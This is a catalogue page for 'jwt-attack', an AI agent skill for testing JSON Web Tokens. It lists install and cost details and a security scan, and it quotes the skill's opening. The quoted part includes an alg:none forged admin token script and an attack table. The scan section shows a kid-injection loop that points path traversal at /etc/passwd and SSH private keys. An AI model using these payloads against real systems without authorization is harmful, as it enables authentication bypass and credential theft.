jwt-attack

jwt-attack is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 19 tokens per session (2,957 once invoked), scanned C, original, MIT.

A security-testing guide for JSON Web Tokens, or JWTs, which are signed strings commonly used to represent login sessions and API access.

In plain words
What is it for?
It helps assess Bearer tokens, session cookies, JavaScript bundles, and token-based APIs during an authorized security review.
Why use it?
It helps find weak or incorrectly checked tokens that could allow unauthorized access. It covers decoding, testing signing methods, guessing weak secrets, and finding tokens in web files.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do.

Good fit It helps assess Bearer tokens, session cookies, JavaScript bundles, and token-based APIs during an authorized security review.

Compare 6 skills from other repositories ↓
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,408 stars · on GitHub · hiago.sh

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills
agentmods
npx agentmods add skills/uphiago/recon-skills/jwt-attack

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for jwt-attack

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/jwt-attack/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/jwt-attack)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/jwt-attack"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/jwt-attack/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for jwt-attack

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/jwt-attack"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/jwt-attack.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 19 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,957 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 6 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Supply Chain · line 192
    Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
    Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
  • high Privilege Escalation · line 264
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 264
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high YARA Match · line 281
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • medium Excessive Agency · line 19
    Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
    Fix: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
  • medium Excessive Agency · line 38
    Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
    Fix: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00019 $0.02957
Opus 5.5 $0.00008 $0.01183
Sonnet 5.5 $0.00004 $0.00591
Haiku 4.5 $0.00002 $0.00296

Measured 23d ago against content hash cbaf06cac7e1, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

jwt-attack scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 23d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

compatibility: Requires curl, python3
recon/jwt-attack/SKILL.md · 294 lines

How it starts

The opening of the file, as written. The whole thing — 294 lines — stays where its author put it; the contents beside it link to each section on GitHub.

JWT Attack Skill

Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).

When to Use

  • API uses Authorization: Bearer eyJ... headers.
  • JavaScript bundles contain eyJ... token patterns.
  • After js-secrets-extraction finds JWT tokens.
  • After api-noauth-hunt needs token forging for auth bypass.
  • Cookies contain jwt=, token=, or session= with base64-encoded values.

Prerequisites

  • terminal with curl, python3.
  • JWT token to attack (from recon).
  • For brute force: hashcat or john for high-speed cracking (optional).

How to Run

# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
    for i, part in enumerate(parts[:2]):
        try:
            padded = part + '=' * (4 - len(part) % 4)
            decoded = base64.urlsafe_b64decode(padded)
            print(f'--- Part {i} ---')
            print(json.dumps(json.loads(decoded), indent=2))
        except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"

# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"

Quick Reference

Attack Prerequisites Impact Difficulty
alg:none Server accepts alg: "none" Full admin access Easy
RS256→HS256 JWT signed with RS256 Full admin access Medium (need public key)
Weak HMAC secret HS256 with weak secret Full admin access Medium (need to crack)
kid injection Server trusts kid header RCE/LFI Hard
Expired token reuse Server doesn't validate exp Session persistence Trivial
Hardcoded JWT JWT found in JS/source Whatever the JWT grants Trivial

Read the full file on GitHub · 294 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 23d ago Changed · +2 lines cbaf06cac7e1
  2. 3mo ago First seen · 292 lines · 19 tokens per session scan C 8214b3546a4f

Subscribe to this mod's changes

jwt-attack is a skill published in the GitHub repository uphiago/recon-skills (1,408 stars, last pushed 23d ago), licensed MIT. It adds 19 tokens to every session and 2,957 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

jwt-attack compared with skills from other repositories

jwt-attack next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
jwt-attackuphiago/recon-skillsSkill1.4k23d agoMITC19Claude Code, Codex
performing-aws-privilege-escalation-assessmentxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A54Claude Code, Codex
performing-cloud-penetration-testing-with-pacuxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A51Claude Code, Codex
detecting-compromised-cloud-credentialsxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A55Claude Code, Codex
securing-api-gateway-with-aws-wafxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A59Claude Code, Codex
auditing-aws-s3-bucket-permissionsxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A62Claude Code, Codex
auditing-gcp-iam-permissionsxalgorix/xalgorixSkill1.5kyesterdayApache-2.0A51Claude Code, Codex